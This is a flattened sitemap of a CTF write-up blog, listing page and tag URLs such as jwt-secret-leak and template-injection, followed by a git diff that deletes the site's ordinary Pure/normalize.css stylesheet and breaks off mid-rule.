http://localhost:1313/writeups/cyberspace2024/zipzone/ - 2024-09-02T14:35:32+02:00 - - http://localhost:1313/tags/175-points/ - 2024-09-03T17:28:44+02:00 - - http://localhost:1313/tags/383-points/ - 2024-09-03T17:28:44+02:00 - - http://localhost:1313/tags/52-solves/ - 2024-09-03T17:28:44+02:00 - - http://localhost:1313/tags/86-solves/ - 2024-09-03T17:28:44+02:00 - - http://localhost:1313/tags/careless_finch/ - 2024-09-03T17:28:44+02:00 - - http://localhost:1313/tags/jwt-secret-leak/ - 2024-09-03T17:28:44+02:00 - - http://localhost:1313/writeups/cyberspace2024/trendz/ - 2024-09-03T17:28:44+02:00 - - http://localhost:1313/tags/417-points/ - 2024-09-15T13:16:15+02:00 - - http://localhost:1313/tags/44-solves/ - 2024-09-15T13:16:15+02:00 - - http://localhost:1313/tags/ndr/ - 2024-09-15T13:16:15+02:00 - - http://localhost:1313/tags/sage/ - 2024-09-15T13:16:15+02:00 - - http://localhost:1313/writeups/cyberspace2024/trendy_windy_trigonity/ - 2024-09-15T13:16:15+02:00 - - http://localhost:1313/tags/beginner/ - 2024-09-11T10:33:34+02:00 - - http://localhost:1313/tags/cyberspace/ - 2024-09-11T10:33:34+02:00 - - http://localhost:1313/writeups/cyberspace2024/ - 2024-09-11T10:33:34+02:00 - - http://localhost:1313/tags/jail/ - 2024-09-11T10:33:34+02:00 - - http://localhost:1313/tags/100-points/ - 2024-09-01T17:02:42+02:00 - - http://localhost:1313/tags/176-solves/ - 2024-08-26T18:41:31+02:00 - - http://localhost:1313/writeups/sekaictf2024/mikuvsmachine/ - 2024-08-26T18:41:31+02:00 - - http://localhost:1313/tags/null_awe/ - 2024-08-26T18:41:31+02:00 - - http://localhost:1313/tags/ppc/ - 2024-09-02T11:17:09+02:00 - - http://localhost:1313/tags/100/ - 2024-08-27T15:04:40+02:00 - - http://localhost:1313/tags/127-solves/ - 2024-09-01T17:02:42+02:00 - - http://localhost:1313/tags/187/ - 2024-08-27T15:04:40+02:00 - - http://localhost:1313/writeups/sekaictf2024/crackme/ - 2024-08-27T15:04:40+02:00 - - http://localhost:1313/tags/cryptography/ - 2024-09-01T17:02:42+02:00 - - http://localhost:1313/tags/deut-erium/ - 2024-09-01T17:02:42+02:00 - - http://localhost:1313/tags/information-leaking/ - 2024-08-27T15:04:40+02:00 - - http://localhost:1313/tags/javascript/java/ - 2024-08-27T15:04:40+02:00 - - http://localhost:1313/tags/sahuang/ - 2024-08-27T15:04:40+02:00 - - http://localhost:1313/writeups/sekaictf2024/sometrick/ - 2024-09-01T17:02:42+02:00 - - http://localhost:1313/tags/sekai/ - 2024-09-02T11:17:09+02:00 - - http://localhost:1313/writeups/sekaictf2024/ - 2024-09-02T11:17:09+02:00 - - http://localhost:1313/tags/133-points/ - 2024-08-19T09:28:03+02:00 - - http://localhost:1313/tags/165-solves/ - 2024-08-19T09:28:03+02:00 - - http://localhost:1313/tags/abdelhameed-ghazy/ - 2024-08-19T09:28:03+02:00 - - http://localhost:1313/writeups/idekctf2024/hello/ - 2024-08-19T09:28:03+02:00 - - http://localhost:1313/tags/php/ - 2024-08-19T09:28:03+02:00 - - http://localhost:1313/tags/idek/ - 2024-09-02T11:16:47+02:00 - - http://localhost:1313/writeups/idekctf2024/ - 2024-09-02T11:16:47+02:00 - - http://localhost:1313/tags/125-points/ - 2024-08-18T20:24:55+02:00 - - http://localhost:1313/tags/218-solves/ - 2024-08-18T20:24:55+02:00 - - http://localhost:1313/writeups/litctf2024/kirbytime/ - 2024-08-18T20:24:55+02:00 - - http://localhost:1313/tags/stephanie/ - 2024-08-18T20:24:55+02:00 - - http://localhost:1313/writeups/litctf2024/ - 2024-09-02T11:16:57+02:00 - - http://localhost:1313/tags/litc/ - 2024-09-02T11:16:57+02:00 - - http://localhost:1313/tags/119-solves/ - 2024-08-18T20:24:55+02:00 - - http://localhost:1313/tags/498-points/ - 2024-08-18T20:24:55+02:00 - - http://localhost:1313/tags/78-solves/ - 2024-09-15T13:16:15+02:00 - - http://localhost:1313/writeups/noobzctf2024/filesharingportal/ - 2024-08-18T20:24:55+02:00 - - http://localhost:1313/tags/noobmaster-+-noobhacker/ - 2024-09-15T13:16:15+02:00 - - http://localhost:1313/tags/template-injection/ - 2024-08-18T20:24:55+02:00 - - http://localhost:1313/writeups/noobzctf2024/waas/ - 2024-09-15T13:16:15+02:00 - - http://localhost:1313/tags/n00bz/ - 2024-09-02T11:17:01+02:00 - - http://localhost:1313/writeups/n00bzctf2024/ - 2024-09-02T11:17:01+02:00 - - http://localhost:1313/changelog/ - 2024-08-12T21:34:10+02:00 - - http://localhost:1313/ - 2025-04-01T22:43:07+02:00 - - http://localhost:1313/writeups/l3akctf2025/beneath-the-surface/ - 2025-07-17T19:23:33+02:00 - - http://localhost:1313/tags/499-points/ - 2025-08-01T22:23:03+02:00 - - http://localhost:1313/writeups/wwfctf2025/blank-login/ - 2025-08-01T22:23:03+02:00 - - http://localhost:1313/categories/ - - http://localhost:1313/contacts/ - 2025-10-08T08:47:42+02:00 - - http://localhost:1313/news/ - 2025-05-19T10:26:59+02:00 - - http://localhost:1313/series/ - - http://localhost:1313/tags/spipm/ - 2025-08-01T22:23:03+02:00 - - http://localhost:1313/tags/sqlalchemy-injection/ - 2025-08-01T22:23:03+02:00 - - http://localhost:1313/writeups/ - 2024-08-12T21:34:10+02:00 - - diff --git a/public/style.css b/public/style.css deleted file mode 100644 index ed969394..00000000 --- a/public/style.css +++ /dev/null @@ -1,1576 +0,0 @@ -@charset "UTF-8"; -/*! -Pure v2.1.0 -Copyright 2013 Yahoo! -Licensed under the BSD License. -https://github.com/pure-css/pure/blob/master/LICENSE -*/ -/*! -normalize.css v | MIT License | git.io/normalize -Copyright (c) Nicolas Gallagher and Jonathan Neal -*/ -/*! normalize.css v8.0.1 | MIT License | github.com/necolas/normalize.css */ -/* Document - ========================================================================== */ -/** - * 1. Correct the line height in all browsers. - * 2. Prevent adjustments of font size after orientation changes in iOS. - */ -html { - line-height: 1.15; - /* 1 */ - -webkit-text-size-adjust: 100%; - /* 2 */ } - -/* Sections - ========================================================================== */ -/** - * Remove the margin in all browsers. - */ -body { - margin: 0; } - -/** - * Render the `main` element consistently in IE. - */ -main { - display: block; } - -/** - * Correct the font size and margin on `h1` elements within `section` and - * `article` contexts in Chrome, Firefox, and Safari. - */ -h1 { - font-size: 2em; - margin: 0.67em 0; } - -/* Grouping content - ========================================================================== */ -/** - * 1. Add the correct box sizing in Firefox. - * 2. Show the overflow in Edge and IE. - */ -hr { - -webkit-box-sizing: content-box; - box-sizing: content-box; - /* 1 */ - height: 0; - /* 1 */ - overflow: visible; - /* 2 */ } - -/** - * 1. Correct the inheritance and scaling of font size in all browsers. - * 2. Correct the odd `em` font sizing in all browsers. - */ -pre { - font-family: monospace, monospace; - /* 1 */ - font-size: 1em; - /* 2 */ } - -/* Text-level semantics - ========================================================================== */ -/** - * Remove the gray background on active links in IE 10. - */ -a { - background-color: transparent; } - -/** - * 1. Remove the bottom border in Chrome 57- - * 2. Add the correct text decoration in Chrome, Edge, IE, Opera, and Safari. - */ -abbr[title] { - border-bottom: none; - /* 1 */ - text-decoration: underline; - /* 2 */ - -webkit-text-decoration: underline dotted; - text-decoration: underline dotted; - /* 2 */ } - -/** - * Add the correct font weight in Chrome, Edge, and Safari. - */ -b, strong { - font-weight: bolder; } - -/** - * 1. Correct the inheritance and scaling of font size in all browsers. - * 2. Correct the odd `em` font sizing in all browsers. - */ -code, kbd, samp { - font-family: monospace, monospace; - /* 1 */ - font-size: 1em; - /* 2 */ } - -/** - * Add the correct font size in all browsers. - */ -small { - font-size: 80%; } - -/** - * Prevent `sub` and `sup` elements from affecting the line height in - * all browsers. - */ -sub, sup { - font-size: 75%; - line-height: 0; - position: relative; - vertical-align: baseline; } - -sub { - bottom: -0.25em; } - -sup { - top: -0.5em; } - -/* Embedded content - ========================================================================== */ -/** - * Remove the border on images inside links in IE 10. - */ -img { - border-style: none; } - -/* Forms - ========================================================================== */ -/** - * 1. Change the font styles in all browsers. - * 2. Remove the margin in Firefox and Safari. - */ -button, input, optgroup, select, textarea { - font-family: inherit; - /* 1 */ - font-size: 100%; - /* 1 */ - line-height: 1.15; - /* 1 */ - margin: 0; - /* 2 */ } - -/** - * Show the overflow in IE. - * 1. Show the overflow in Edge. - */ -button, input { - /* 1 */ - overflow: visible; } - -/** - * Remove the inheritance of text transform in Edge, Firefox, and IE. - * 1. Remove the inheritance of text transform in Firefox. - */ -button, select { - /* 1 */ - text-transform: none; } - -/** - * Correct the inability to style clickable types in iOS and Safari. - */ -button, [type="button"], [type="reset"], [type="submit"] { - -webkit-appearance: button; } - -/** - * Remove the inner border and padding in Firefox. - */ -button::-moz-focus-inner, [type="button"]::-moz-focus-inner, [type="reset"]::-moz-focus-inner, [type="submit"]::-moz-focus-inner { - border-style: none; - padding: 0; } - -/** - * Restore the focus styles unset by the previous rule. - */ -button:-moz-focusring, [type="button"]:-moz-focusring, [type="reset"]:-moz-focusring, [type="submit"]:-moz-focusring { - outline: 1px dotted ButtonText; } - -/** - * Correct the padding in Firefox. - */ -fieldset { - padding: 0.35em 0.75em 0.625em; } - -/** - * 1. Correct the text wrapping in Edge and IE. - * 2. Correct the color inheritance from `fieldset` elements in IE. - * 3. Remove the padding so developers are not caught out when they zero out - * `fieldset` elements in all browsers. - */ -legend { - -webkit-box-sizing: border-box; - box-sizing: border-box; - /* 1 */ - color: inherit; - /* 2 */ - display: table; - /* 1 */ - max-width: 100%; - /* 1 */ - padding: 0; - /* 3 */ - white-space: normal; - /* 1 */ } - -/** - * Add the correct vertical alignment in Chrome, Firefox, and Opera. - */ -progress { - vertical-align: baseline; } - -/** - * Remove the default vertical scrollbar in IE 10+. - */ -textarea { - overflow: auto; } - -/** - * 1. Add the correct box sizing in IE 10. - * 2. Remove the padding in IE 10. - */ -[type="checkbox"], [type="radio"] { - -webkit-box-sizing: border-box; - box-sizing: border-box; - /* 1 */ - padding: 0; - /* 2 */ } - -/** - * Correct the cursor style of increment and decrement buttons in Chrome. - */ -[type="number"]::-webkit-inner-spin-button, [type="number"]::-webkit-outer-spin-button { - height: auto; } - -/** - * 1. Correct the odd appearance in Chrome and Safari. - * 2. Correct the outline style in Safari. - */ -[type="search"] { - -webkit-appearance: textfield; - /* 1 */ - outline-offset: -2px; - /* 2 */ } - [type="search"]::-webkit-search-decoration { - -webkit-appearance: none; } - -/** - * Remove the inner padding in Chrome and Safari on macOS. - */ -/** - * 1. Correct the inability to style clickable types in iOS and Safari. - * 2. Change font properties to `inherit` in Safari. - */ -::-webkit-file-upload-button { - -webkit-appearance: button; - /* 1 */ - font: inherit; - /* 2 */ } - -/* Interactive - ========================================================================== */ -/* - * Add the correct display in Edge, IE 10+, and Firefox. - */ -details { - display: block; } - -/* - * Add the correct display in all browsers. - */ -summary { - display: list-item; } - -/* Misc - ========================================================================== */ -/** - * Add the correct display in IE 10+. - */ -template, [hidden] { - display: none; } - -/** - * Add the correct display in IE 10. - */ -/*csslint important:false*/ -/* ========================================================================== - Pure Base Extras - ========================================================================== */ -/** - * Extra rules that Pure adds on top of Normalize.css - */ -html { - font-family: sans-serif; } - -/** - * Always hide an element when it has the `hidden` HTML attribute. - */ -.hidden, [hidden] { - display: none !important; } - -/** - * Add this class to an image to make it fit within it's fluid parent wrapper while maintaining - * aspect ratio. - */ -.pure-img { - max-width: 100%; - height: auto; - display: block; } - -html[data-theme="light"] { - --color-text: #171717; - --color-text-secondary: #737373; - --color-text-footer: #737373; - --color-text-mark: #171717; - --color-border: #d4d4d4; - --color-border-collapsible-menu: #e5e5e5; - --color-background: #fff; - --color-background-hover: #f7f7f7; - --color-background-overlay: #ededed; - --color-background-inline-code: #f5f5f5; - --color-background-card: #fff; - --color-background-mark: #ffd70e; - --color-link: #2563eb; - --color-navbar-item-inactive: #a3a3a3; - --color-navbar-item-active: #171717; - --color-navbar-item-in-section: #525252; } - -html[data-theme="dark"] { - --color-text: #ededed; - --color-text-secondary: #8b8b8b; - --color-text-footer: #a3a3a3; - --color-text-mark: #171717; - --color-border: #737373; - --color-border-collapsible-menu: #636363; - --color-background: #333333; - --color-background-hover: #525252; - --color-background-overlay: #404040; - --color-background-inline-code: #525252; - --color-background-card: #404040; - --color-background-mark: #ffd70e; - --color-link: #93c5fd; - --color-navbar-item-inactive: #a3a3a3; - --color-navbar-item-active: #f5f5f5; - --color-navbar-item-in-section: #dddddd; } - -html { - color: var(--color-text); - background: var(--color-background); - font-size: 16px; } - -a { - color: var(--color-link); - text-decoration: none; } - -html, -button, -input, -select, -textarea, -.pure-g [class*="pure-u"] { - font-family: system-ui, -apple-system, segoe ui, Roboto, Helvetica, Arial, sans-serif, apple color emoji, segoe ui emoji; } - -code, -kbd, -pre { - font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, liberation mono, courier new, monospace; } - -body { - margin-left: auto; - margin-right: auto; - padding: 1.5rem; } - -h1, -h2, -h3, -h4, -h5, -h6 { - font-weight: 700; - margin-top: 2rem; - margin-bottom: 1rem; } - -h1 { - font-size: 1.5rem; - /* 24px */ - line-height: 2rem; - /* 32px */ } - -h2 { - font-size: 1.375rem; - /* 22px */ - line-height: 1.875rem; - /* 30px */ } - -h3 { - font-size: 1.25rem; - /* 20px */ - line-height: 1.75rem; - /* 28px */ } - -h4 { - font-size: 1.125rem; - /* 18px */ - line-height: 1.75rem; - /* 28px */ } - -h5 { - font-size: 1rem; - /* 16px */ - line-height: 1.5rem; - /* 24px */ } - -h6 { - font-size: 0.875rem; - /* 14px */ - line-height: 1.25rem; - /* 20px */ } - -figure { - margin: 0; } - -img { - max-width: 100%; - border-radius: 3px; } - -input { - background-color: var(--color-background); - color: var(--color-text); - border: none; } - -mark { - background-color: var(--color-background-mark); - color: var(--color-text-mark); } - -details > summary { - cursor: pointer; } - -details[open] > summary { - cursor: pointer; } - -.content-margin { - margin-top: 2rem; - margin-bottom: 2rem; } - -.hidden { - display: none; } - -@media screen and (min-width: 35.5rem) { - body { - width: 100%; } } - -@media screen and (min-width: 48rem) { - body { - width: 80%; } } - -@media screen and (min-width: 64rem) { - body { - width: 55%; } } - -@media screen and (min-width: 80rem) { - body { - width: 55%; } } - -@media screen and (min-width: 120rem) { - body { - width: 55%; } } - -@font-face { - font-family: "JetBrainsMonoNerd"; - src: url("/fonts/JetBrainsMonoNLNerdFont-Regular.ttf") format("truetype"); - font-weight: normal; - font-style: normal; } - -h1, -h2, -h3, -h4, -h5, -h6 { - font-family: "JetBrainsMonoNerd", sans-serif; } - -.badge { - background-color: #9e8c6c; - color: white; - padding: 5px 10px; - border-radius: 12px; - font-size: 0.8em; - font-weight: 200; - font-family: "JetBrainsMonoNerd", sans-serif; - display: inline-block; - margin-right: 5px; - margin-top: 5px; } - -.date { - padding-top: 6px; - font-family: "JetBrainsMonoNerd", sans-serif; - font-size: 0.8em; } - -.icon_contacts { - list-style: none; - margin: 0 10px; } - -.members-list { - display: flex; - flex-wrap: wrap; } - -.card-members { - display: flex; - width: calc(45% - 12px); - margin: 16px auto; - max-height: 24hv; - max-width: 56vh; - border-radius: 12px; - background-color: #9e8c6c00; - border: #292929 dashed 4px; } - -@media (max-width: 1350px) { - .card-members { - width: 100%; - margin: 15px auto; } - .members-list { - flex-direction: column; - align-items: center; } - .div-text { - margin-right: auto; } } - -.content-container { - width: 100%; - display: flex; - margin: 0, auto; - justify-content: space-between; } - -.div-img-members { - padding: 10px; - margin: 0px; - display: inline-block; - min-width: 30%; - position: relative; } - -.badge-image { - position: absolute; - top: 14px; - right: 14px; - width: 25px; - border-radius: 50%; } - -.name-members { - margin: 14px 0 0 0; - width: 100%; - display: inline-block; } - -.tag-members { - display: inline-block; - margin: 0px; - padding: 0px; - font-weight: bold; - text-decoration: underline; } - -.div-text { - width: 100%; - margin-right: auto; } - -.div-img-members { - display: inline-block; } - -.tag-members:hover { - color: #39e6ec; - cursor: pointer; } - -.tag-school { - display: inline-block; - margin: 0px; - padding: 4px; - padding-left: 0; - opacity: 0.7; } - -.categories-container { - margin-left: auto; - padding: 8px; - display: flex; - flex-direction: column; } - -.categories-members { - padding: 2px 8px; - font-size: 12px; - display: inline-block; - margin: 10px auto 0px 0px; - border-radius: 6px; - color: white; } - -.categories-color-web { - background-color: #8bbada; } - -.categories-color-pwn { - background-color: #e74c3c; } - -.categories-color-crypto { - background-color: #219b54; } - -.categories-color-rev { - background-color: #19703d; } - -.categories-color-misc { - background-color: #d6d318; } - -.categories-color-forensic { - background-color: #f39c12; } - -.categories-color-osint { - background-color: #8e44ad; } - -.categories-color-block { - background-color: #8f22ce; } - -.categories-color-netw { - background-color: #16384e; } - -.nftImage { - width: 200%; - height: auto; - border-radius: 12px; } - -.spinner { - border: 4px solid rgba(0, 0, 0, 0.1); - border-radius: 50%; - border-top: 4px solid #D4B783; - width: 40px; - height: 40px; - animation: spin 1s linear infinite; - margin: auto; } - -@keyframes spin { - 0% { - transform: rotate(0deg); } - 100% { - transform: rotate(360deg); } } - -article { - line-height: 1.7; - width: 100%; } - article > *:first-child { - margin-top: 0; } - article > *:last-child { - margin-bottom: 0; } - article hr { - margin-top: 2rem; - margin-bottom: 2rem; } - article p { - overflow-wrap: break-word; } - article li { - list-style-type: disc; - margin-top: .5rem; - margin-bottom: .5rem; } - article li p { - margin-top: 0; - margin-bottom: 0; } - article ul, article ol { - margin-top: 1rem; - margin-bottom: 1rem; - padding-left: 1.3rem; } - article ol li { - list-style-type: decimal; } - article ul, article ol { - margin-top: .5rem; - margin-bottom: .5rem; } - article ul li:first-child, article ol li:first-child { - margin-top: 0; } - article ul li:last-child, article ol li:last-child { - margin-bottom: 0; } - article blockquote { - padding-left: 1rem; - padding-right: 1rem; - margin-top: 1rem; - margin-bottom: 1rem; - margin-left: 0; - margin-right: 0; - border-left: 2px solid var(--color-border); } - article blockquote p:first-child { - margin-top: 0; } - article blockquote p:last-child { - margin-bottom: 0; } - article blockquote blockquote { - margin-top: 0; - margin-bottom: 0; } - article code { - /* Inline code style */ - border-radius: .25rem; - padding: .2rem .375rem .2rem .375rem; - background-color: var(--color-background-inline-code); } - article pre { - margin-top: 1rem; - margin-bottom: 1rem; - padding: 1rem; - overflow-x: auto; - border-radius: .5rem; - background-color: #272822; - color: #f7f7f7; } - article pre code { - /* Disable inline code style */ - display: inherit; - border-radius: 0; - padding: 0; - background-color: transparent; } - article pre.mc-prism.hide code { - /* Smooth transition for prism.js */ - opacity: 0; } - article pre.mc-prism code { - /* Smooth transition for prism.js */ - opacity: 1; - transition: opacity 0.1s ease-in; } - article .code-toolbar .toolbar-item { - margin-left: 0.25rem; - margin-right: 0.25rem; } - article .highlight { - margin-top: 1rem; - margin-bottom: 1rem; - position: relative; } - article .highlight .code-toolbar { - padding: 0; } - article .highlight .code-toolbar pre { - padding: 1rem; - border-radius: 0.375rem; } - article .highlight > div, - article .highlight > pre { - padding: 0.75rem; - border-radius: 0.375rem; - overflow-x: auto; } - article .highlight > div pre, - article .highlight > pre pre { - padding: 0; - margin: 0; - border-radius: 0; } - article .highlight > div pre code, - article .highlight > pre pre code { - /* Disable inline code style */ - border-radius: 0; - padding: 0; - background-color: transparent; } - article .copy-code-button { - font-size: 0.75rem; - /* 12px */ - line-height: 1rem; - /* 16px */ - position: absolute; - right: 0; - height: 1.5rem; - top: -1.5rem; - padding-left: 0.375rem; - padding-right: 0.375rem; - border-radius: .25rem; - cursor: pointer; - background-color: transparent; - display: flex; - align-items: center; } - article .copy-code-button:hover { - background-color: var(--color-background-hover); } - article table.mc-table { - margin-top: 1rem; - margin-bottom: 1rem; - table-layout: auto; - border-collapse: collapse; - display: block; - overflow-x: auto; } - article table.mc-table td, article table.mc-table th { - padding-left: .75rem; - padding-right: .75rem; - padding-top: .5rem; - padding-bottom: .5rem; - border: 1px solid var(--color-border); } - article figure { - margin-top: 1rem; - margin-bottom: 1rem; - text-align: center; } - article figure figcaption { - margin-top: .5rem; - margin-bottom: .5rem; } - article img { - margin-left: auto; - margin-right: auto; - display: block; } - article .header-anchor-link { - display: none; - color: var(--color-text); } - article .header-anchor-wrapper:hover .header-anchor-link { - display: inline; } - -html[data-theme='dark'] .twitter-tweet { - color: var(--color-text); } - html[data-theme='dark'] .twitter-tweet a { - color: var(--color-link); } - -.bookcase-layout { - display: grid; - gap: 1rem; - grid-template-columns: repeat(auto-fill, 8rem); } - .bookcase-layout .bookcase-item figure { - position: relative; - margin: 0; } - .bookcase-layout .bookcase-item figcaption { - font-size: 0.875rem; - /* 14px */ - line-height: 1.25rem; - /* 20px */ - text-align: center; - margin-top: .7rem; } - .bookcase-layout .bookcase-item figcaption a { - color: var(--color-text); } - .bookcase-layout .bookcase-item img, .bookcase-layout .bookcase-item .bookcase-item-overlay { - width: 8rem; - height: 12rem; - border-radius: 0.375rem; - object-fit: cover; } - .bookcase-layout .bookcase-item .bookcase-item-overlay { - position: absolute; - top: 0; - left: 0; - background-color: transparent; - opacity: 0.25; } - .bookcase-layout .bookcase-item .bookcase-item-overlay:hover { - background-color: var(--color-background-overlay); } - -html[data-theme="light"] .bookcase-item-img-dark { - display: none; } - -html[data-theme="light"] .bookcase-item img, html[data-theme="light"] .bookcase-item .bookcase-item-overlay { - box-shadow: 0 0 10px -1px rgba(0, 0, 0, 0.1); } - -html[data-theme="dark"] .bookcase-item-img-light { - display: none; } - -html[data-theme="dark"] .bookcase-item img, html[data-theme="dark"] .bookcase-item .bookcase-item-overlay { - box-shadow: 0 0 3px 0px rgba(135, 135, 135, 0.2); } - -@media screen and (min-width: 48rem) { - .gallery-layout figure { - margin-left: -1.25rem; - margin-right: -1.25rem; } } - -.gallery-layout figure img { - margin-left: auto; - margin-right: auto; - display: block; } - -.gallery-layout figcaption { - margin-top: .5rem; - margin-bottom: .5rem; - font-size: 0.75rem; - /* 12px */ - line-height: 1rem; - /* 16px */ - font-style: italic; - text-align: center; } - -.gallery-layout .gallery-item { - margin-bottom: 4rem; } - -.gallery-layout .gallery-item-title { - margin: 1rem 0; } - .gallery-layout .gallery-item-title a { - color: var(--color-text); - border-bottom: 2px solid var(--color-border); } - .gallery-layout .gallery-item-title a:hover { - border-bottom-color: var(--color-text-secondary); } - .gallery-layout .gallery-item-title span { - font-size: 1.5rem; - /* 24px */ - line-height: 2rem; - /* 32px */ - font-weight: 700; } - -.gallery-layout .gallery-item-content { - margin-top: 1rem; - margin-bottom: 1rem; } - -.gallery-layout .gallery-item-statistic { - display: grid; - gap: 0.5rem; - grid-template-columns: max-content 1fr; } - -.balloon-layout .balloon-card-item, .balloon-layout .balloon-title-item, .balloon-layout .balloon-head-item { - display: flex; - flex-direction: column; } - @media screen and (min-width: 48rem) { - .balloon-layout .balloon-card-item, .balloon-layout .balloon-title-item, .balloon-layout .balloon-head-item { - flex-direction: row; } } -.balloon-layout .balloon-card-item .balloon-card-item-line, .balloon-layout .balloon-title-item .balloon-title-item-line, .balloon-layout .balloon-head-item .balloon-head-item-desktop { - width: 7rem; - display: flex; - flex-direction: column; - position: relative; - align-items: center; } - @media screen and (max-width: 48rem) { - .balloon-layout .balloon-card-item .balloon-card-item-line, .balloon-layout .balloon-title-item .balloon-title-item-line, .balloon-layout .balloon-head-item .balloon-head-item-desktop { - display: none; } } -.balloon-layout .balloon-card-item .balloon-card-item-content, .balloon-layout .balloon-title-item .balloon-title-item-content, .balloon-layout .balloon-head-item .balloon-head-item-content { - display: flex; - flex: 1 1 0%; - margin-left: -12px; } - @media screen and (max-width: 48rem) { - .balloon-layout .balloon-card-item .balloon-card-item-content, .balloon-layout .balloon-title-item .balloon-title-item-content, .balloon-layout .balloon-head-item .balloon-head-item-content { - margin-left: 0; } } -@media screen and (min-width: 48rem) { - .balloon-layout { - margin-left: -1.75rem; } } - -.balloon-layout .balloon-head-item { - width: 100%; - gap: 20px; } - .balloon-layout .balloon-head-item .balloon-head-item-mobile { - width: 100%; - justify-content: center; } - @media screen and (min-width: 48rem) { - .balloon-layout .balloon-head-item .balloon-head-item-mobile { - display: none; } } - .balloon-layout .balloon-head-item .balloon-head-item-img-light, .balloon-layout .balloon-head-item .balloon-head-item-img-dark { - display: flex; - justify-content: center; } - .balloon-layout .balloon-head-item .balloon-head-item-img img { - width: 6rem; - height: 6rem; } - .balloon-layout .balloon-head-item .balloon-head-item-img .rounded { - border-radius: 9999px; } - .balloon-layout .balloon-head-item .balloon-head-item-content { - margin: 0; - align-items: center; } - @media screen and (max-width: 48rem) { - .balloon-layout .balloon-head-item .balloon-head-item-content { - justify-content: center; - text-align: center; } } -@media screen and (max-width: 48rem) { - .balloon-layout .balloon-title-item .balloon-title-item-content { - justify-content: center; - text-align: center; } } - -.balloon-layout .balloon-card-item .balloon-card-item-content { - font-size: 0.875rem; - /* 14px */ - line-height: 1.25rem; - /* 20px */ - overflow: auto; - border-radius: 0.375rem; - box-shadow: 0 4px 6px -1px rgba(0, 0, 0, 0.1), 0 2px 4px -1px rgba(0, 0, 0, 0.06); - background-color: var(--color-background-card); - padding: 1rem 1.2rem; } - -.balloon-layout .balloon-dot { - width: .8rem; - height: .8rem; - border-radius: 1rem; - margin: 0.25rem 0; - border: 2px solid var(--color-text); } - -.balloon-layout .balloon-line-container { - display: flex; - flex: 1 1 0%; - justify-content: center; } - .balloon-layout .balloon-line-container .balloon-line { - background-color: var(--color-text); } - -html[data-theme="dark"] .balloon-head-item .balloon-head-item-img-light { - display: none; } - -html[data-theme="light"] .balloon-head-item .balloon-head-item-img-dark { - display: none; } - -ul.list-layout { - list-style: none; - padding: 0; } - ul.list-layout li { - margin-bottom: .5rem; - line-height: 1.625; - display: list-item; - list-style-type: none; } - ul.list-layout li a { - color: var(--color-text); - border-bottom: 2px solid var(--color-border); - line-height: 1.7rem; } - ul.list-layout li a:hover { - border-bottom-color: var(--color-text-secondary); } - ul.list-layout li span { - font-size: 0.75rem; - /* 12px */ - line-height: 1rem; - /* 16px */ - color: var(--color-text-secondary); } - -.postcard-layout a { - color: var(--color-text); } - -.postcard-layout .postcard-item { - padding: 1rem; - background-color: var(--color-background-card); - border-radius: .375rem; - margin: 2rem 0; - box-shadow: 0 4px 6px -1px rgba(0, 0, 0, 0.1), 0 2px 4px -1px rgba(0, 0, 0, 0.06); } - .postcard-layout .postcard-item:hover { - background-color: var(--color-background-hover); } - .postcard-layout .postcard-item .postcard-title { - font-size: 1.25rem; - /* 20px */ - line-height: 1.75rem; - /* 28px */ - font-weight: 500; } - .postcard-layout .postcard-item .postcard-summary { - font-size: 0.75rem; - /* 12px */ - line-height: 1rem; - /* 16px */ - color: var(--color-text-secondary); - overflow: hidden; - white-space: nowrap; - text-overflow: ellipsis; - margin: .5rem 0; } - .postcard-layout .postcard-item .postcard-metadata { - font-size: 0.75rem; - /* 12px */ - line-height: 1rem; - /* 16px */ - color: var(--color-text-secondary); } - -.term-title { - display: flex; - align-items: center; - gap: 8px; - margin: 2rem 0; } - .term-title h1 { - margin: 0; } - -html[data-theme="dark"] #dark_mode_btn { - display: none; } - -html[data-theme="light"] #light_mode_btn { - display: none; } - -header { - display: flex; - justify-content: space-between; - align-items: center; - margin: 1rem 0; } - header #header_left { - display: flex; - justify-content: space-between; - align-items: center; } - header #header_left .brand { - display: flex; - align-items: center; } - header #header_left .brand a { - font-size: 1.5rem; - /* 24px */ - line-height: 2rem; - /* 32px */ - font-weight: 700; - color: var(--color-text); } - header #header_left #sidebar_btn { - margin-right: 0.5rem; } - header #header_left #sidebar_btn #sidebar_btn_label { - display: flex; } - @media screen and (min-width: 48rem) { - header #header_left #sidebar_btn { - display: none; } } - header .toolbox { - display: flex; - align-items: center; - column-gap: 0.5rem; } - header .toolbox .toolbox-btn { - display: flex; - cursor: pointer; } - header .toolbox .toolbox-btn:hover { - color: var(--color-text-secondary); } - header .toolbox .dropdown-wrapper .dropdown-btn.pure-menu-link { - color: unset; } - header .toolbox .dropdown-wrapper .dropdown-btn { - display: flex; - align-items: center; - padding: 0; } - header .toolbox .dropdown-wrapper .dropdown-btn:hover { - background-color: unset; } - header .toolbox .dropdown-wrapper .dropdown-btn::after { - content: ""; - padding: 0; } - header .toolbox .dropdown-wrapper .dropdown-btn .dropdown-desc { - font-size: 0.875rem; - /* 14px */ - line-height: 1.25rem; - /* 20px */ - margin-left: 0.35rem; } - header .toolbox #translation_tool .dropdown-btn .dropdown-desc { - display: none; } - @media screen and (min-width: 48rem) { - header .toolbox #translation_tool .dropdown-btn .dropdown-desc { - display: block; } } - header .toolbox #translation_tool .pure-menu-children { - left: auto; - right: 0; } - -footer { - margin-top: 1rem; - margin-bottom: 1rem; - font-size: 0.75rem; - /* 12px */ - line-height: 1rem; - /* 16px */ - text-align: center; - color: var(--color-text-footer); } - -/*! -Pure v2.1.0 -Copyright 2013 Yahoo! -Licensed under the BSD License. -https://github.com/pure-css/pure/blob/master/LICENSE -*/ -/*csslint adjoining-classes: false, box-model:false*/ -.pure-menu { - -webkit-box-sizing: border-box; - box-sizing: border-box; } - -.pure-menu-fixed { - position: fixed; - left: 0; - top: 0; - z-index: 3; } - -.pure-menu-list, .pure-menu-item { - position: relative; } - -.pure-menu-list { - list-style: none; - margin: 0; - padding: 0; } - -.pure-menu-item { - padding: 0; - margin: 0; - height: 100%; - font-size: 0.875rem; - /* 14px */ - line-height: 1.25rem; - /* 20px */ } - -.pure-menu-link, .pure-menu-heading { - display: block; - text-decoration: none; - white-space: nowrap; } - -/* HORIZONTAL MENU */ -.pure-menu-horizontal { - width: 100%; - white-space: nowrap; } - .pure-menu-horizontal .pure-menu-list { - display: inline-block; } - .pure-menu-horizontal .pure-menu-item, .pure-menu-horizontal .pure-menu-heading, .pure-menu-horizontal .pure-menu-separator { - display: inline-block; - vertical-align: 